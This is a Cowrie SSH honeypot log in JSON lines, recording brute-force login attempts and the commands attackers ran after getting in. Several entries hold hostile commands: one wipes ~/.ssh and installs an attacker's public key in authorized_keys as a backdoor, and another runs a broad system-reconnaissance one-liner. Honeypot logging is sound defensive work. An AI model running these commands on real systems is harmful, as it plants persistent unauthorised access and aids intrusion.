"ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:49:55.560864Z","src_ip":"2.57.122.96","session":"a65f08ac7c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:49:55.868920Z","src_ip":"2.57.122.96","session":"a65f08ac7c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:49:56.972857Z","src_ip":"2.57.122.96","session":"a65f08ac7c58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.196.236.141","src_port":35922,"dst_ip":"10.17.0.5","dst_port":22,"session":"07110603712f","protocol":"ssh","message":"New connection: 45.196.236.141:35922 (10.17.0.5:22) [session: 07110603712f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:06.130845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:06.136533Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:06.348487Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"282828","message":"login attempt [root/282828] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:07.207329Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:07.676508Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:07.682308Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:07.687847Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:07.904393Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.382353Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.387910Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.604025Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.610242Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.196.236.141","src_port":35938,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb8eb6cdde5","protocol":"ssh","message":"New connection: 45.196.236.141:35938 (10.17.0.5:22) [session: dbb8eb6cdde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.816397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:08.826102Z","src_ip":"45.196.236.141","session":"dbb8eb6cdde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:09.037889Z","src_ip":"45.196.236.141","session":"dbb8eb6cdde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:09.910241Z","src_ip":"45.196.236.141","session":"dbb8eb6cdde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.123630Z","src_ip":"45.196.236.141","session":"dbb8eb6cdde5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.196.236.141","src_port":35950,"dst_ip":"10.17.0.5","dst_port":22,"session":"53873edf7f69","protocol":"ssh","message":"New connection: 45.196.236.141:35950 (10.17.0.5:22) [session: 53873edf7f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.326313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.332833Z","src_ip":"45.196.236.141","session":"53873edf7f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.619175Z","src_ip":"45.196.236.141","session":"53873edf7f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37646,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e5f104bc7a","protocol":"ssh","message":"New connection: 2.57.122.96:37646 (159.203.135.109:22) [session: 12e5f104bc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.692497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.697260Z","src_ip":"2.57.122.96","session":"12e5f104bc7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:11.801361Z","src_ip":"2.57.122.96","session":"12e5f104bc7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:12.093228Z","src_ip":"2.57.122.96","session":"12e5f104bc7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:12.442521Z","src_ip":"45.196.236.141","session":"53873edf7f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:12.652113Z","src_ip":"45.196.236.141","session":"07110603712f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:12.658293Z","src_ip":"45.196.236.141","session":"53873edf7f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:13.192664Z","src_ip":"2.57.122.96","session":"12e5f104bc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":22598,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d69035267bc","protocol":"ssh","message":"New connection: 103.82.27.19:22598 (159.203.135.109:22) [session: 9d69035267bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:32.412846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:32.417284Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:32.677048Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456789","message":"login attempt [root/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:33.450472Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:34.004947Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:34.008518Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:34.312072Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:50:34.317302Z","src_ip":"103.82.27.19","session":"9d69035267bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":43766,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8e84148187","protocol":"ssh","message":"New connection: 2.57.122.96:43766 (10.17.0.5:22) [session: 9e8e84148187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:52:57.701105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:52:57.707315Z","src_ip":"2.57.122.96","session":"9e8e84148187","protocol":"ssh"}
